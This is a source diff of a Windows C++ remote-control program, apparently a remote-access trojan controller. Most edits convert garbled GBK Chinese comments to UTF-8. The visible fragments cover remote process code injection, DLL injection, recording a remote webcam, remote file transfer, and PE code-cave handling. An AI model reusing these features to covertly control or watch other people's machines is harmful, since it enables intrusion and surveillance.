if (::MessageBox(m_hWnd, "ȷ<EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> (<28><><EFBFBD><EFBFBD>64λ) <EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD>?\n<EFBFBD>˲<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ܱ<EFBFBD><EFBFBD><EFBFBD>ȫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>½<EFBFBD><EFBFBD>̱<EFBFBD><EFBFBD><EFBFBD>!",
"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_YESNO | MB_ICONQUESTION) == IDNO)
if (::MessageBox(m_hWnd, "确定要向目标进程 (仅限64) 进行代码注入吗?\n此操作可能被安全软件阻止,或导致进程崩溃!",
"警告", MB_YESNO | MB_ICONQUESTION) == IDNO)
return;
DWORD dwOffset = 1, dwProcessID = 0;
@@ -500,10 +500,10 @@ void CSystemDlg::OnPlistAntiBlackScreen()
return;
if (ListCtrl->GetSelectedCount() != 1)
::MessageBox(m_hWnd, "ֻ<EFBFBD><EFBFBD>ͬʱ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD>з<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!", "<EFBFBD><EFBFBD>ʾ", MB_ICONINFORMATION);
::MessageBox(m_hWnd, "只能同时向一个进程进行反黑屏操作!", "提示", MB_ICONINFORMATION);
if (::MessageBox(m_hWnd, "ȷ<EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̽<EFBFBD><EFBFBD>з<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>?\n<EFBFBD><EFBFBD>ȷ<EFBFBD><EFBFBD>Ŀ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̡<EFBFBD>DLL<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ض˼ܹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬ!",
"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>", MB_YESNO | MB_ICONQUESTION) == IDNO)
if (::MessageBox(m_hWnd, "确定要向目标进程进行反黑屏吗?\n请确保目标进程、DLL及被控端架构务必相同!",
"警告", MB_YESNO | MB_ICONQUESTION) == IDNO)
return;
DWORD dwOffset = 1, dwProcessID = 0;

View File

@@ -1,8 +1,8 @@
#pragma once
#pragma once
#include "afxcmn.h"
#include "IOCPServer.h"
// CSystemDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CSystemDlg 对话框
class CSystemDlg : public DialogBase
{
@@ -19,11 +19,11 @@ public:
void OnReceiveComplete(void);
CWnd* m_pParent;
BOOL m_bHow;
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 对话框数据
enum { IDD = IDD_DIALOG_SYSTEM };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD>
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:

View File

@@ -1,4 +1,4 @@
// TalkDlg.cpp : ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
// TalkDlg.cpp : 实现文件
//
#include "stdafx.h"
@@ -6,7 +6,7 @@
#include "TalkDlg.h"
#include "afxdialogex.h"
// CTalkDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CTalkDlg 对话框
IMPLEMENT_DYNAMIC(CTalkDlg, CDialog)
@@ -33,7 +33,7 @@ BEGIN_MESSAGE_MAP(CTalkDlg, CDialog)
END_MESSAGE_MAP()
// CTalkDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// CTalkDlg 消息处理程序
BOOL CTalkDlg::OnInitDialog()
@@ -45,7 +45,7 @@ BOOL CTalkDlg::OnInitDialog()
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
return TRUE; // return TRUE unless you set the focus to a control
// <EFBFBD>: OCX <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ҳӦ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> FALSE
// 异常: OCX 属性页应返回 FALSE
}
@@ -72,10 +72,10 @@ void CTalkDlg::OnBnClickedButtonTalk()
BOOL CTalkDlg::PreTranslateMessage(MSG* pMsg)
{
if (pMsg->message == WM_KEYDOWN) {
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>VK_ESCAPE<EFBFBD><EFBFBD>VK_DELETE
// 屏蔽VK_ESCAPEVK_DELETE
if (pMsg->wParam == VK_ESCAPE)
return true;
//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǿɱ༭<EFBFBD><EFBFBD><EFBFBD>Ļس<EFBFBD><EFBFBD><EFBFBD>
//如果是可编辑框的回车键
if (pMsg->wParam == VK_RETURN && pMsg->hwnd == m_EditTalk.m_hWnd) {
OnBnClickedButtonTalk();
@@ -90,7 +90,7 @@ BOOL CTalkDlg::PreTranslateMessage(MSG* pMsg)
void CTalkDlg::OnClose()
{
CancelIO();
// <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;

View File

@@ -1,18 +1,18 @@
#pragma once
#pragma once
#include "IOCPServer.h"
#include "afxwin.h"
// CTalkDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CTalkDlg 对话框
class CTalkDlg : public DialogBase
{
DECLARE_DYNAMIC(CTalkDlg)
public:
CTalkDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // <EFBFBD><EFBFBD>׼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CTalkDlg(CWnd* Parent, Server* IOCPServer=NULL, CONTEXT_OBJECT *ContextObject=NULL); // 标准构造函数
virtual ~CTalkDlg();
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 对话框数据
enum { IDD = IDD_DIALOG_TALK };
void OnReceiveComplete(void)
@@ -20,7 +20,7 @@ public:
}
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD>
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:

View File

@@ -1,4 +1,4 @@
/***=========================================================================
/***=========================================================================
==== ====
==== D C U t i l i t y ====
==== ====

View File

@@ -1,4 +1,4 @@
/***=========================================================================
/***=========================================================================
==== ====
==== D C U t i l i t y ====
==== ====

View File

@@ -1,4 +1,4 @@
// VideoDlg.cpp : ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
// VideoDlg.cpp : 实现文件
//
#include "stdafx.h"
@@ -8,10 +8,10 @@
enum {
IDM_ENABLECOMPRESS = 0x0010, // <EFBFBD><EFBFBD>Ƶѹ<EFBFBD><EFBFBD>
IDM_SAVEAVI, // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD>
IDM_ENABLECOMPRESS = 0x0010, // 视频压缩
IDM_SAVEAVI, // 保存录像
};
// CVideoDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CVideoDlg 对话框
IMPLEMENT_DYNAMIC(CVideoDlg, CDialog)
@@ -27,13 +27,13 @@ void CVideoDlg::SaveAvi(void)
}
CString strFileName = m_IPAddress + CTime::GetCurrentTime().Format("_%Y-%m-%d_%H-%M-%S.avi");
CFileDialog dlg(FALSE, "avi", strFileName, OFN_OVERWRITEPROMPT, "<EFBFBD><EFBFBD>Ƶ<EFBFBD>ļ<EFBFBD>(*.avi)|*.avi|", this);
CFileDialog dlg(FALSE, "avi", strFileName, OFN_OVERWRITEPROMPT, "视频文件(*.avi)|*.avi|", this);
if(dlg.DoModal () != IDOK)
return;
m_aviFile = dlg.GetPathName();
int code;
if (code = m_aviStream.Open(m_aviFile, m_BitmapInfor_Full)) {
MessageBox("<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>ʧ<EFBFBD><EFBFBD>:"+m_aviFile + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: " + CBmpToAvi::GetErrMsg(code).c_str(), "<EFBFBD><EFBFBD>ʾ");
MessageBox("创建录像文件失败:"+m_aviFile + "\r\n错误代码: " + CBmpToAvi::GetErrMsg(code).c_str(), "提示");
m_aviFile.Empty();
} else {
pSysMenu->CheckMenuItem(IDM_SAVEAVI, MF_CHECKED);
@@ -110,7 +110,7 @@ BEGIN_MESSAGE_MAP(CVideoDlg, CDialog)
END_MESSAGE_MAP()
// CVideoDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// CVideoDlg 消息处理程序
BOOL CVideoDlg::OnInitDialog()
@@ -122,13 +122,13 @@ BOOL CVideoDlg::OnInitDialog()
m_hDD = DrawDibOpen();
m_hDC = ::GetDC(m_hWnd);
SysMenu->AppendMenu(MF_STRING, IDM_ENABLECOMPRESS, "<EFBFBD><EFBFBD>Ƶѹ<EFBFBD><EFBFBD>(&C)");
SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD>(&V)");
SysMenu->AppendMenu(MF_STRING, IDM_ENABLECOMPRESS, "视频压缩(&C)");
SysMenu->AppendMenu(MF_STRING, IDM_SAVEAVI, "保存录像(&V)");
SysMenu->AppendMenu(MF_SEPARATOR);
CString strString;
strString.Format("%s - <EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> %d<EFBFBD><EFBFBD>%d", m_IPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
strString.Format("%s - 视频管理 %d×%d", m_IPAddress, m_BitmapInfor_Full->bmiHeader.biWidth, m_BitmapInfor_Full->bmiHeader.biHeight);
SetWindowText(strString);
@@ -146,7 +146,7 @@ BOOL CVideoDlg::OnInitDialog()
void CVideoDlg::OnClose()
{
CancelIO();
// <EFBFBD>ȴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 等待数据处理完毕
if (IsProcessing()) {
ShowWindow(SW_HIDE);
return;
@@ -165,11 +165,11 @@ void CVideoDlg::OnReceiveComplete(void)
switch (m_ContextObject->InDeCompressedBuffer.GetBYTE(0)) {
case TOKEN_WEBCAM_DIB: {
DrawDIB();//<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD>ͼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ת<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD>
DrawDIB();//这里是绘图函数,转到他的代码看一下
break;
}
default:
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 传输发生异常数据
break;
}
}
@@ -185,22 +185,22 @@ void CVideoDlg::DrawDIB(void)
Buffer tmp = m_ContextObject->InDeCompressedBuffer.GetMyBuffer(0);
LPBYTE szBuffer = tmp.Buf();
UINT ulBufferLen = m_ContextObject->InDeCompressedBuffer.GetBufferLength();
if (szBuffer[1] == 0) { // û<EFBFBD>о<EFBFBD><EFBFBD><EFBFBD>H263ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭʼ<EFBFBD><EFBFBD><EFBFBD>ݣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <EFBFBD><EFBFBD>һ<EFBFBD>Σ<EFBFBD>û<EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>˵<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD>֧<EFBFBD><EFBFBD>ָ<EFBFBD><EFBFBD><EFBFBD>Ľ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
if (szBuffer[1] == 0) { // 没有经过H263压缩的原始数据不需要解码
// 第一次,没有压缩,说明服务端不支持指定的解码器
if (m_nCount == 1) {
SysMenu->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
}
SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_UNCHECKED);
memcpy(m_BitmapData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen);
} else { // <EFBFBD><EFBFBD><EFBFBD><EFBFBD>
////<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĵĵڶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
InitCodec(*(LPDWORD)(szBuffer + 2)); //<EFBFBD>ж<EFBFBD>
} else { // 解码
////这里缓冲区里的的第二个字符正好是是否视频解码
InitCodec(*(LPDWORD)(szBuffer + 2)); //判断
if (m_pVideoCodec != NULL) {
SysMenu->CheckMenuItem(IDM_ENABLECOMPRESS, MF_CHECKED);
memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //<EFBFBD><EFBFBD>Ƶû<EFBFBD>н<EFBFBD>ѹ
//<EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͬδѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><>ʾ<EFBFBD><CABE><EFBFBD>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD>ϡ<EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʼ<EFBFBD><CABC>Ƶ<EFBFBD><C6B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>avi<76><69>ʽ
memcpy(m_BitmapCompressedData_Full, szBuffer + nHeadLen, ulBufferLen - nHeadLen); //视频没有解压
//这里开始解码,解码后就是同未压缩的一样了 显示到对话框上。 接下来开始视频保存成avi格式
m_pVideoCodec->DecodeVideoData(m_BitmapCompressedData_Full, ulBufferLen - nHeadLen,
(LPBYTE)m_BitmapData_Full, NULL, NULL); //<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><EFBFBD><EFBFBD>ݽ<EFBFBD>ѹ
(LPBYTE)m_BitmapData_Full, NULL, NULL); //将视频数据解压
}
}
@@ -217,9 +217,9 @@ void CVideoDlg::InitCodec(DWORD fccHandler)
if (!m_pVideoCodec->InitCompressor(m_BitmapInfor_Full, fccHandler)) {
Mprintf("======> InitCompressor failed \n");
delete m_pVideoCodec;
// <EFBFBD><EFBFBD>NULL, <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD>ж<EFBFBD><EFBFBD>Ƿ<EFBFBD>ΪNULL<EFBFBD><EFBFBD><EFBFBD>ж<EFBFBD><EFBFBD>Ƿ<EFBFBD>ѹ<EFBFBD><EFBFBD>
// NULL, 发送时判断是否为NULL来判断是否压缩
m_pVideoCodec = NULL;
// ֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˲<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD>
// 通知服务端不启用压缩
BYTE bToken = COMMAND_WEBCAM_DISABLECOMPRESS;
m_ContextObject->Send2Client(&bToken, sizeof(BYTE));
GetSystemMenu(FALSE)->EnableMenuItem(IDM_ENABLECOMPRESS, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED);
@@ -229,7 +229,7 @@ void CVideoDlg::InitCodec(DWORD fccHandler)
void CVideoDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>/<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĭ<EFBFBD><C4AC>ֵ
// TODO: 在此添加消息处理程序代码和/或调用默认值
switch (nID) {
case IDM_SAVEAVI: {
SaveAvi();
@@ -277,7 +277,7 @@ void CVideoDlg::OnPaint()
if (!m_aviFile.IsEmpty()) {
m_aviStream.Write(m_BitmapData_Full);
// <EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD><EFBFBD>
// 提示正在录像
SetBkMode(m_hDC, TRANSPARENT);
SetTextColor(m_hDC, RGB(0xff,0x00,0x00));
const LPCTSTR lpTipsString = "Recording";

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include "IOCPServer.h"
#include "Bmp2Video.h"
@@ -36,7 +36,7 @@ public:
}
ICCompressGetFormat(m_hIC, m_lpbmiInput, &m_bmiOutput);
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֤
// 向编码器发送验证
ICSendMessage(m_hIC, 0x60c9, 0xf7329ace, 0xacdeaea2);
m_cv.hic = m_hIC;
@@ -115,7 +115,7 @@ public:
if (hIC) {
ICGetInfo(hIC, &icInfo, sizeof(icInfo));
*fccHandler = icInfo.fccHandler;
//<EFBFBD><EFBFBD><EFBFBD>ڵõ<EFBFBD><EFBFBD><EFBFBD>szDescription<EFBFBD><EFBFBD>UNICODE˫<EFBFBD>ֽ<EFBFBD><EFBFBD>ִ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫת<EFBFBD><EFBFBD>ΪASCII<EFBFBD><EFBFBD>
//由于得到的szDescriptionUNICODE双字节字串,所以要转换为ASCII
if (strName != NULL)
wcstombs(strName, icInfo.szDescription, 256);
} else nRet = -1;
@@ -127,14 +127,14 @@ public:
};
// CVideoDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CVideoDlg 对话框
class CVideoDlg : public DialogBase
{
DECLARE_DYNAMIC(CVideoDlg)
public:
CVideoDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // <EFBFBD><EFBFBD>׼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CVideoDlg(CWnd* pParent = NULL, Server* IOCPServer = NULL, CONTEXT_OBJECT *ContextObject = NULL); // 标准构造函数
virtual ~CVideoDlg();
LPBITMAPINFO m_BitmapInfor_Full;
@@ -147,19 +147,19 @@ public:
void SaveAvi(void);
void InitCodec(DWORD fccHandler);
CString m_aviFile; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD>վ<EFBFBD>д<EFBFBD><EFBFBD>
CString m_aviFile; // 如果文件名不为空就写入
CBmpToAvi m_aviStream;
int m_nCount;
HDC m_hDC;
HDRAWDIB m_hDD;
CVideoCodec *m_pVideoCodec; // <EFBFBD><EFBFBD>Ƶѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CVideoCodec *m_pVideoCodec; // 视频压缩类
// 对话框数据
enum { IDD = IDD_DIALOG_VIDEO };
protected:
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<EFBFBD><EFBFBD>
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
DECLARE_MESSAGE_MAP()
public:

View File

@@ -1,4 +1,4 @@
#include "StdAfx.h"
#include "StdAfx.h"
#include "2015Remote.h"
#include "CFileListCtrl.h"
#include "CFileManagerDlg.h"

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include <afxcmn.h>

File diff suppressed because it is too large Load Diff

View File

@@ -1,4 +1,4 @@
#pragma once
#pragma once
#include "stdafx.h"
#include "CFileListCtrl.h"
#include <Resource.h>
@@ -59,10 +59,10 @@ public:
CString ExtractNameFromFullPath(CString szFullPath);
HANDLE m_hFileSend;
HANDLE m_hFileRecv;
CString m_strOperatingFile; // <EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>
CString m_strFileName; // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>
__int64 m_nOperatingFileLength; // <EFBFBD>ļ<EFBFBD><EFBFBD>ܴ<EFBFBD>С
__int64 m_nCounter;// <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
CString m_strOperatingFile; // 文件名
CString m_strFileName; // 操作文件名
__int64 m_nOperatingFileLength; // 文件总大小
__int64 m_nCounter;// 计数器
void WriteLocalRecvFile();
void CreateLocalRecvFile();
BOOL SendDownloadJob();
@@ -80,9 +80,9 @@ public:
CString GetParentDirectory(CString strPath);
void OnReceiveComplete();
void OnReceive();
void SearchEnd(); // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
void SearchEnd(); // 搜索结束
void FixedRemoteSearchFileList(BYTE* pbBuffer, DWORD dwBufferLen);
int m_nNewIconBaseIndex; // <EFBFBD>¼ӵ<EFBFBD>ICON
int m_nNewIconBaseIndex; // 新加的ICON
CProgressCtrl* m_ProgressCtrl;
HCURSOR m_hCursor;
CString m_Local_Path;
@@ -90,7 +90,7 @@ public:
void FixedRemoteDriveList();
void GetRemoteFileList(CString directory = _T(""));
void FixedRemoteFileList(BYTE* pbBuffer, DWORD dwBufferLen);
void fixNetHood(BYTE* pbuffer, int buffersize);//Զ<EFBFBD>̹<EFBFBD><EFBFBD><EFBFBD>Ŀ¼
void fixNetHood(BYTE* pbuffer, int buffersize);//远程共享目录
bool id_search_result;
CStatusBar m_wndStatusBar;
CFileManagerDlg(CWnd* pParent = NULL, Server* pIOCPServer = NULL, ClientContext* pContext = NULL);
@@ -116,7 +116,7 @@ public:
BOOL DRIVE_Sys;
BOOL DRIVE_CAZ;
__int64 Bf_nCounters; // <EFBFBD><EFBFBD><EFBFBD>ݼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ڱȽ<DAB1><C8BD><EFBFBD>
__int64 Bf_nCounters; // 备份计数器 由于比较用
LONG Bf_dwOffsetHighs;
LONG Bf_dwOffsetLows;
@@ -179,7 +179,7 @@ protected:
DECLARE_MESSAGE_MAP()
private:
bool m_bIsUpload; // <EFBFBD>Ƿ<EFBFBD><EFBFBD>ǰѱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD>ϣ<EFBFBD><EFBFBD><EFBFBD>־<EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ
bool m_bIsUpload; // 是否是把本地主机传到远程上,标志方向位
BOOL m_bDragging; // during a drag operation
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
void SendTransferMode();

View File

@@ -1,4 +1,4 @@
// FileTransferModeDlg.cpp : implementation file
// FileTransferModeDlg.cpp : implementation file
//
#include "stdafx.h"
#include "2015Remote.h"
@@ -49,7 +49,7 @@ BOOL CFileTransferModeDlg::OnInitDialog()
CDialog::OnInitDialog();
CString str;
str.Format(_T("<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ѱ<EFBFBD><EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϊ<EFBFBD><EFBFBD>%s<><73><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"), m_strFileName);
str.Format(_T("此文件夹已包含一个名为“%s”的文件"), m_strFileName);
for (int i = 0; i < str.GetLength(); i += 120) {
str.Insert(i, _T("\n"));
@@ -64,48 +64,48 @@ BOOL CFileTransferModeDlg::OnInitDialog()
void CFileTransferModeDlg::OnBnClickedOverwrite()
{
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿؼ<EFBFBD>֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// TODO: 在此添加控件通知处理程序代码
EndDialog(IDC_OVERWRITE);
}
void CFileTransferModeDlg::OnBnClickedOverwriteAll()
{
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿؼ<EFBFBD>֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// TODO: 在此添加控件通知处理程序代码
EndDialog(IDC_OVERWRITE_ALL);
}
void CFileTransferModeDlg::OnBnClickedAddition()
{
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿؼ<EFBFBD>֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// TODO: 在此添加控件通知处理程序代码
EndDialog(IDC_ADDITION);
}
void CFileTransferModeDlg::OnBnClickedAdditionAll()
{
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿؼ<EFBFBD>֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// TODO: 在此添加控件通知处理程序代码
EndDialog(IDC_ADDITION_ALL);
}
void CFileTransferModeDlg::OnBnClickedJump()
{
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿؼ<EFBFBD>֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// TODO: 在此添加控件通知处理程序代码
EndDialog(IDC_JUMP);
}
void CFileTransferModeDlg::OnBnClickedJumpAll()
{
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿؼ<EFBFBD>֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// TODO: 在此添加控件通知处理程序代码
EndDialog(IDC_JUMP_ALL);
}
void CFileTransferModeDlg::OnBnClickedCancel()
{
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿؼ<EFBFBD>֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// TODO: 在此添加控件通知处理程序代码
EndDialog(IDC_CANCEL);
}

View File

@@ -1,4 +1,4 @@

#pragma once
/////////////////////////////////////////////////////////////////////////////

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Master include file, including everything else.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Definitions of the used buffer types. Functions for their allocation and deallocation.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Functions related to finding caves in the loaded PE file.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Parsing and filling the Delayload Import Table.
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
* @brief Functions related to Exceptions Table
*/

View File

@@ -1,4 +1,4 @@
/**
/**
* @file
